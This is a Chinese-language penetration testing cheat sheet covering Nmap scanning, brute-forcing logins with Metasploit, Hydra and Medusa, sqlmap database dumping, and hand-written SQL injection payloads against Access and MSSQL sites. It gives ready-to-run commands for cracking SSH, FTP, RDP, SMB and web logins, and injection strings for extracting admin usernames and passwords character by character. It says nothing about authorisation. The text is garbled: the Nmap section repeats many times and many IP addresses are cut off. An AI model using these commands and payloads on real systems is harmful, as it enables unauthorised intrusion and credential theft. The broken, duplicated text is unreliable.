渗透测试方法整理

1、渗透测试一、端口扫描工具Nmap功能介绍及参数相关文档1) 获取远程主机的系统类型及开放端口nmap -sS -P0 -sV -O 这里的 可以是单一 IP, 或主机名，或域名，或子网-sS TCP SYN 扫描 (又称半开放,或隐身扫描)-P0 允许你关闭 ICMP pings.-sV 打开系统版本检测-O 尝试识别远程操作系统其它选项:-A 同时打开操作系统指纹和版本检测-v 详细输出扫描情况.nmap -sS -P0 -A -v 2) 列出开放了指定端口的主机列表nmap -sT -p 80 -oG 192.168.1.* | grep open3) 在网络寻找所有在线主机nmap -s

2、P 192.168.0.*或者也可用以下命令:nmap -sP /24指定 subnet4) Ping 指定范围内的 IP 地址nmap -sP 00-2545) 在某段子网上查找未占用的 IPnmap -T4 -sP /24 &egrep 00:00:00:00:00:00 /proc/net/arp6) 在局域网上扫找Conficker 蠕虫病毒nmap -PN -T4 -p139,445 -n -v -script=smb-check-vulns -script-args safe=1 -2547)

3、扫描网络上的恶意接入点 （rogue APs）.nmap -A -p1-85,113,443,8080-8100 -T4 -min-hostgroup 50 -max-rtt-timeout 2000 -initial-rtt-timeout 300 -max-retries 3 -host-timeout 20m -max-scan-delay 1000 -oAwapscan /88 ) 使用诱饵扫描方法来扫描主机端口sudonmap -sS 0 -D 9) 为一个子网列出反向 DNS 记录nmap -R -sL 209.85.22

4、9.99/27 | awk if($3=not)print($2) no PTR;else print$3 is $2 | grep10) 显示网络上共有多少台 Linux 及 Win 设备?sudonmap -F -O -255 | grep Running: /tmp/os; echo $(cat /tmp/os | grep Linux | wc -l) Linux device(s); echo $(cat /tmp/os | grep Windows | wc -l) Window(s) devicenmap -sP /24 仅列出指定网络

5、上的每台主机，不发送任何报文到目标主机：nmap -sL /24 探测目标主机开放的端口，可以指定一个以逗号分隔的端口列表(如-PS22，23，25，80)：nmap -PS 34 使用UDP ping探测主机：nmap -PU /24 使用频率最高的扫描选项：SYN扫描,又称为半开放扫描，它不打开一个完全的TCP连接，执行得很快：nmap -sS /24 当SYN扫描不能用时，TCP Connect()扫描就是默认的TCP扫描：nmap -sT /24 UDP扫描用-sU选项,UDP

6、扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU /24 确定目标机支持哪些IP协议 (TCP，ICMP，IGMP等): nmap -sO 9 探测目标主机的操作系统：nmap -O 9 nmap -A 9 另外，nmap官方文档中的例子：nmap -v scanme. 这个选项扫描主机scanme中所有的保留TCP端口。选项-v启用细节模式。nmap -sS -O scanme./24 进行秘密SYN扫描，对象为主机Saznme所在的“C类”网段的255台主机。同时尝试确定每台工作主机

7、的操作系统类型。因为进行SYN扫描和操作系统检测，这个扫描需要有根权限。nmap -sV -p 22，53，110，143，4564 198.116.0-255.1-127 进行主机列举和TCP扫描，对象为B类188.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开，将使用版本检测来确定哪种应用在运行。nmap -v -iR -P0 -p 80 随机选择台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间，而且只需探测主机的一个端口，因此使用-P0禁止对主机列表。nmap -P0

8、 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 0/20 扫描4096个IP地址，查找Web服务器(不ping)，将结果以Grep和XML格式保存。host -l | cut -d -f 4 | nmap -v -iL - 进行DNS区域传输，以发现中的主机，然后将IP地址提供给 Nmap。上述命令用于GNU/Linux - 其它系统进行区域传输时有不同的命令。其他选项：-p (只扫描指定的端口) 单个端口和用连字符表示的端口范围(如 1-1023)都可以。当既扫描TCP端口又扫描UDP端口时

9、，可以通过在端口号前加上T: 或者U:指定协议。协议限定符一直有效直到指定另一个。例如，参数 -p U:53，111，137，T:21-25，80，139，8080 将扫描UDP 端口53，111，和137，同时扫描列出的TCP端口。-F (快速 (有限的端口) 扫描)nmap -sP /24 仅列出指定网络上的每台主机，不发送任何报文到目标主机：nmap -sL /24 探测目标主机开放的端口，可以指定一个以逗号分隔的端口列表(如-PS22，23，25，80)：nmap -PS 34 使用UDP ping探测主机：nmap -

10、PU /24 使用频率最高的扫描选项：SYN扫描,又称为半开放扫描，它不打开一个完全的TCP连接，执行得很快：nmap -sS /24 当SYN扫描不能用时，TCP Connect()扫描就是默认的TCP扫描：nmap -sT /24 UDP扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU /24 确定目标机支持哪些IP协议 (TCP，ICMP，IGMP等): nmap -sO 9 探测目标主机的操作系统：nmap -O 192.168.1.

11、19 nmap -A 9 另外，nmap官方文档中的例子：nmap -v scanme. 这个选项扫描主机scanme中所有的保留TCP端口。选项-v启用细节模式。nmap -sS -O scanme./24 进行秘密SYN扫描，对象为主机Saznme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测，这个扫描需要有根权限。nmap -sV -p 22，53，110，143，4564 198.116.0-255.1-127 进行主机列举和TCP扫描，对象为B类188.116网段中255个8位子网。这个测试用于确定系统

12、是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开，将使用版本检测来确定哪种应用在运行。nmap -v -iR -P0 -p 80 随机选择台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间，而且只需探测主机的一个端口，因此使用-P0禁止对主机列表。nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 0/20 扫描4096个IP地址，查找Web服务器(不ping)，将结果以Grep和XML格式保存。host -l |

13、 cut -d -f 4 | nmap -v -iL - 进行DNS区域传输，以发现中的主机，然后将IP地址提供给 Nmap。上述命令用于GNU/Linux - 其它系统进行区域传输时有不同的命令。其他选项：-p (只扫描指定的端口) 单个端口和用连字符表示的端口范围(如 1-1023)都可以。当既扫描TCP端口又扫描UDP端口时，可以通过在端口号前加上T: 或者U:指定协议。协议限定符一直有效直到指定另一个。例如，参数 -p U:53，111，137，T:21-25，80，139，8080 将扫描UDP 端口53，111，和137，同时扫描列出的TCP端口。-F (快速 (有限的端口) 扫描

14、)nmap -sP /24 仅列出指定网络上的每台主机，不发送任何报文到目标主机：nmap -sL /24 探测目标主机开放的端口，可以指定一个以逗号分隔的端口列表(如-PS22，23，25，80)：nmap -PS 34 使用UDP ping探测主机：nmap -PU /24 使用频率最高的扫描选项：SYN扫描,又称为半开放扫描，它不打开一个完全的TCP连接，执行得很快：nmap -sS /24 当SYN扫描不能用时，TCP Connect()扫描就是默认的TCP扫描：nmap -s

15、T /24 UDP扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU /24 确定目标机支持哪些IP协议 (TCP，ICMP，IGMP等): nmap -sO 9 探测目标主机的操作系统：nmap -O 9 nmap -A 9 另外，nmap官方文档中的例子：nmap -v scanme. 这个选项扫描主机scanme中所有的保留TCP端口。选项-v启用细节模式。nmap -sS -O scanme./24 进行秘密SYN扫描，对象为主机Saz

16、nme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测，这个扫描需要有根权限。nmap -sV -p 22，53，110，143，4564 198.116.0-255.1-127 进行主机列举和TCP扫描，对象为B类188.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开，将使用版本检测来确定哪种应用在运行。nmap -v -iR -P0 -p 80 随机选择台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间，而且只需探

17、测主机的一个端口，因此使用-P0禁止对主机列表。nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 0/20 扫描4096个IP地址，查找Web服务器(不ping)，将结果以Grep和XML格式保存。host -l | cut -d -f 4 | nmap -v -iL - 进行DNS区域传输，以发现中的主机，然后将IP地址提供给 Nmap。上述命令用于GNU/Linux - 其它系统进行区域传输时有不同的命令。其他选项：-p (只扫描指定的端口) 单个端口和用连字符表示的端口范围

18、(如 1-1023)都可以。当既扫描TCP端口又扫描UDP端口时，可以通过在端口号前加上T: 或者U:指定协议。协议限定符一直有效直到指定另一个。例如，参数 -p U:53，111，137，T:21-25，80，139，8080 将扫描UDP 端口53，111，和137，同时扫描列出的TCP端口。-F (快速 (有限的端口) 扫描)二、中间人攻击arp工具Ettercap：/articles/viaemaUCain：/art/.htm三、破解工具1.Metasploit：MSF破解sshmsf：（全

19、称）metasploitfreamwork使用命令: 破解ssh登录名和密码 msconsole回车search ssh 查找ssh相关的模块use auxiliary/scanner/ssh/ssh_login 调用ssh破解程序 show options 查看选项set rhosts 设置要破解的IP地址（必须能ping通）set rport 22 设置端口set username root 设置用户名setpass_file /root/*.* 设置密码文件set threads 50 设置线程50run 开始执行telnet同理，kali自带密码字典路径/usr/s

20、hare/wordlists/w3af.txt注：所有路径必须是绝对路径nmap -sP /24 仅列出指定网络上的每台主机，不发送任何报文到目标主机： nmap -sL /24 探测目标主机开放的端口，可以指定一个以逗号分隔的端口列表(如-PS22，23，25，80)： nmap -PS 34 使用UDP ping探测主机： nmap -PU /24 使用频率最高的扫描选项：SYN扫描,又称为半开放扫描，它不打开一个完全的TCP连接，执行得很快： nmap -sS /24 当SYN扫

21、描不能用时，TCP Connect()扫描就是默认的TCP扫描： nmap -sT /24 UDP扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU /24 确定目标机支持哪些IP协议 (TCP，ICMP，IGMP等): nmap -sO 9 探测目标主机的操作系统： nmap -O 9 nmap -A 9 另外，nmap官方文档中的例子： nmap -v scanme. 这个选项扫描主机scanme中 所有的保留TCP端口。选项-v启用细节模

22、式。 nmap -sS -O scanme./24 进行秘密SYN扫描，对象为主机Saznme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测，这个扫描需要有根权限。 nmap -sV -p 22，53，110，143，4564 198.116.0-255.1-127 进行主机列举和TCP扫描，对象为B类188.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开，将使用版本检测来确定哪种应用在运行。 nmap -v -iR -P0 -p 80 随机选择台主机扫描是否运

23、行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间，而且只需探测主机的一个端口，因 此使用-P0禁止对主机列表。 nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap 0/20 扫描4096个IP地址，查找Web服务器(不ping)，将结果以Grep和XML格式保存。 host -l | cut -d -f 4 | nmap -v -iL - 进行DNS区域传输，以发现中的主机，然后将IP地址提供给 Nmap。上述命令用于GNU/Linux - 其它系统

24、进行区域传输时有不同的命令。 其他选项： -p (只扫描指定的端口) 单个端口和用连字符表示的端口范 围(如 1-1023)都可以。当既扫描TCP端口又扫描UDP端口时，可以通过在端口号前加上T: 或者U:指定协议。 协议限定符一直有效直到指定另一个。 例如，参数 -p U:53，111，137，T:21-25，80，139，8080 将扫描UDP 端口53，111，和137，同时扫描列出的TCP端口。 -F (快速 (有限的端口) 扫描)nmap -sP /24 仅列出指定网络上的每台主机，不发送任何报文到目标主机： nmap -sL /24 探测

25、目标主机开放的端口，可以指定一个以逗号分隔的端口列表(如-PS22，23，25，80)： nmap -PS 34 使用UDP ping探测主机： nmap -PU /24 使用频率最高的扫描选项：SYN扫描,又称为半开放扫描，它不打开一个完全的TCP连接，执行得很快： nmap -sS /24 当SYN扫描不能用时，TCP Connect()扫描就是默认的TCP扫描： nmap -sT /24 UDP扫描用-sU选项,UDP扫描发送空的(没有数据)UDP报头到每个目标端口: nmap -sU 192.168

26、.1.0/24 确定目标机支持哪些IP协议 (TCP，ICMP，IGMP等): nmap -sO 9 探测目标主机的操作系统： nmap -O 9 nmap -A 9 另外，nmap官方文档中的例子： nmap -v scanme. 这个选项扫描主机scanme中 所有的保留TCP端口。选项-v启用细节模式。 nmap -sS -O scanme./24 进行秘密SYN扫描，对象为主机Saznme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测，这个扫描需要有根权限。 n

27、map -sV -p 22，53，110，143，4564 198.116.0-255.1-127 进行主机列举和TCP扫描，对象为B类188.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开，将使用版本检测来确定哪种应用在运行。 nmap -v -iR -P0 -p 80 随机选择台主机扫描是否运行Web服务器(80端口)。由起始阶段发送探测报文来确定主机是否工作非常浪费时间，而且只需探测主机的一个端口，因 此使用-P0禁止对主机列表。 nmap -P0 -p80 -oX logs/pb-port80scan.xml -

28、oG logs/pb-port80scan.gnmap 0/20 扫描4096个IP地址，查找Web服务器(不ping)，将结果以Grep和XML格式保存。 host -l | cut -d -f 4 | nmap -v -iL - 进行DNS区域传输，以发现中的主机，然后将IP地址提供给 Nmap。上述命令用于GNU/Linux - 其它系统进行区域传输时有不同的命令。 其他选项： -p (只扫描指定的端口) 单个端口和用连字符表示的端口范 围(如 1-1023)都可以。当既扫描TCP端口又扫描UDP端口时，可以通过在端口号前加上T: 或者U:指定协议。 协议限定符

29、一直有效直到指定另一个。 例如，参数 -p U:53，111，137，T:21-25，80，139，8080 将扫描UDP 端口53，111，和137，同时扫描列出的TCP端口。 -F (快速 (有限的端口) 扫描)MSF渗透扫描模块：/blog/static/822.Hydra破解1、破解ssh：hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ipsshhydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vVipssh2、破解ftp：hydra ip ftp -l 用户名 -P 密码字典

30、 -t 线程(默认16) -vVhydra ip ftp -l 用户名 -P 密码字典 -e ns -vV3、get方式提交，破解web登录：hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.PHP4、post方式提交，破解web登录：hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form /admin/login.php:username=USER&password=P

31、ASS&submit=login:sorry passwordhydra -t 3 -l admin -P pass.txt -o out.txt -f 8 http-post-form login.php:id=USER&passwd=PASS:wrong username or password（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 8目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提

32、示。）5、破解https：hydra -m /index.php -l muts -P pass.txt 8 https6、破解teamspeak：hydra -l 用户名 -P 密码字典 -s 端口号 -vVipteamspeak7、破解cisco：hydra -P pass.txt 8 ciscohydra -m cloud -P pass.txt 8 cisco-enable8、破解smb：hydra -l administrator -P pass.txt 8 smb9、破解pop3：hydra -l mu

33、ts -P pass.txt my.pop3.mail pop310、破解rdp：hydraiprdp -l administrator -P pass.txt -V11、破解http-proxy：hydra -l admin -P pass.txt http-proxy:/812、破解imap：hydra -L user.txt -p secret 8 imap PLAINhydra -C defaults.txt -6 imap:/fe80:2c:31ff:fe12:ac11:143/PLAIN参考网址：/2

34、013/01/11487.html3.Medusa暴力破解远程kali linux自带破解工具，使用的时候要获得一些必要的信息。1、目标IP地址2、登录目标的一个用户名或者一个用户名文件（都是猜测的用户名也可以说是用户名字典）3、密码字典4、要验证的服务名称（比如ssh、http、telnet等）使用命令： medusa -h target_ip（攻击ip） -u username -P path_to_passwordlist（密码文件要打绝对路径） -M authentication_service_to_attack（要验证的服务名称） -u是要攻击的目标的id（用户名）号，如果改为大写

35、的U，将会是利用用户名列表进行攻击，-M参数后面接的是你要攻击的验证服务名称。参考网址：/jingyan/.html4.payload破解search tomcat查看tomcat的payloadpayload就是加载模块调用攻击的有效加载项。（真心抽象）msfconsole回车use auxiliary/scanner/http/tomcat_mgr_login 调用tomcat破解程序show options 查看选项set rhosts 设置要破解的IP地址（必须能ping通）set rport 8080 设置端口set

36、 username root 设置用户名（set user_file /*/*.*设置帐号字典）setpass_file /root/*.* 设置密码字典set threads 50 设置线程50run 开始执行。注：所有路径必须是绝对路径。四Sql注入工具1.Sqlmapsqlmap：数据库注入工具。可以用来猜测数据库类型和利用漏洞渗透数据库注入点一般存在登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。比如：最常用的寻找SQL注入点的方法，是在网站中寻找如下形式的页面链接：/xxx.asp?id=YY其中“YY”可能是数字，也有可能是字符串，分别

37、被称为整数类型数据或者字符型数据。一般有一下几种方法：1、加 法浏览器可能会返回类似于下面的错误提示信息：Microsoft JET Database Engine 错误80040e14表示有注入点。2、and 1=1 和and 1=2 将and 1=1 写在url最后面访问显示正常，而and 1=2 提示错误说明有可能有注入点。如果两种方式结果一样，就表示没戏。3、sqlmap下输入 (-u 域名 -level 5 -dbs) 猜测数据库类型Sqlmap参数使用BT5里面的话前面就要加pythonsqlmap.py -u url -dbs /爆数据库sqlmap.py -u url -cur

38、rent-db /爆当前库sqlmap.py -u url -current-user /爆当前用户sqlmap.py -u url -users 查看用户权限sqlmap.py -u url -tables -D 数据库 /爆表段sqlmap.py -u url -columns -T 表段 -D 数据库 /爆字段sqlmap.py -u url -dump -C 字段 -T 表段 -D 数据库 /猜解sqlmap.py -u url -dump -start=1 -stop=3 -C 字段 -T 表段 -D 数据库 /猜解1到3的字段加入python环境使用方法：sqlmap.py -u

39、url判断sqlmap.py -u url -is-dba -v 这是判断当前数据库的使用者是否是dbasqlmap.py -u url -users -v 0 这句的目的是列举数据库的用户sqlmap.py -u url -passwords -v 0这句的目的是获取数据库用户的密码sqlmap.py -u url -privileges -v 0 这是判断当前的权限sqlmap.py -u url -dbs -v 0 这句的目的是将所有的数据库列出来sqlmap.py -u url -tables -D 表 爆表sqlmap.py -u url -columns -T 表-D 数据库爆列s

40、qlmap.py -u url -dump -T 表 -start 1 -stop 4 -v 0 这里是查询第2到第4行的内sqlmap.py -u url -dump -all -v 0爆数据库sqlmap.py -u url -users -password 爆用户名密码。2.明小子Domain明小子domian工具是针对Access、mssql数据库的sql注入工具，另外此工具可用于扫描管理后台、上传、下载路径，也可进行简单的md5破解！(此工具功能性有限)使用方法：1、先打开我们的明小子，在当前路径这里输入你要注入的网站地址，然后连接如下图。如果此网站有注入点的话，下面注入点框内会出现

41、红色的注入点地址。2、我们任意选中一个地址单击鼠标右键，点击检测注入。3、然后点击开始检测按钮后，如下图操作。最后我们得到网站的账号密码后 就可以去网站后台去登录了3.Pangolin穿山甲初始界面输入url地址进行检测参考地址：/thread-758-1-1.html4.纯手工sql注入第一步先把IE菜单=工具=Internet选项=高级=显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。数字型：and 1=1 and 1=2 判断是否存在注入字符型： and 1=

42、1 and 1=2搜索型： 关键字% and 1=1 and %=% 关键字% and 1=2 and %=%IIS报错情况下使用：and user0 （判断是ACCESS还是MSSQL）不报错则使用各自数据库特性来判断and (select count(*) from msysobjects)0 （返回权限不足access数据库）and (select count(*) from sysobjects)0 （返回正常则为MSSQL数据库）and db_name（）0 (返回数据库名)and 0(select version)- (判断版本信息)and db_name（）0 （返回数据库名）*

43、注意：猜解之前先要找到后台地址，不然白忙了*ACCESS注入：猜解表名（正常则存在admin,不正常则不存在）and exists (select * from admin)and (Select Count(*) from Admin)0猜解字段:（字段username存在则正常，不正常则不存在）and (Select username from Admin)0and exists (select username from admin)猜解用户名和密码长度and (select top 1 len(username) from Admin)0and (select top 1 len(pa

44、ssword) from Admin)0原 理：如果top 1的username长度大于0，则条件成立；接着就是1、2、3这样测试下去，一直到条件不成立为止，比如4成立，5不成立，就是len(username)=5,即用户名长度为5.得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1)得到ASCII码.猜解用户and (select top 1 asc(mid(username,1,1) from Admin)0，1，2,当输入到109时，显示错误，而108之前显示正确，说明第一个字符的ASCII码为109.，得到第一个

45、字符是m。同理and (select top 1 asc(mid(username,2，1) from Admin)0，1，2到114的时候不成立，说明第二个字符的ASCII码值为114，字符为r。注意的是英文和数字的ASCII码在1-128之间.MSSQL注入：having 1=1- 【爆出一个表名及字段，如：列 users.ID 在选择列表中无效】group by users.ID having 1=1-group by users.ID, users.username, users.password, users.privs having 1=1-; insert into users

46、values( 666, attacker, foobar, 0xffff )- 【插入新记录】猜解表名：SQL SERVER的每一个数据库都会有用户表和系统表，在系统表sysobjects中，数据库内创建的每个对象（约束、默认值、日志、规则、存储过程等）在sysobjects表中占一行，那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个，name （数据表的名字），xtype（ 数据表的类型 u为用户表），id（ 数据表的对象标志）。and (select top 1 name from sysobjects where xtype=u)0 (得到第一个表名:比如user)and (select top 1 name from sysobjects where xtype=u and name not in (user)0 得到第二个表名，后面的以此类推。猜解列名：用 到系统自带的2个函数col_name()和object_id()，col_name()的格式是“COL_NAME( table_id , column_id )”，参数table_id是表的标识号，column_id是列的标识号，objec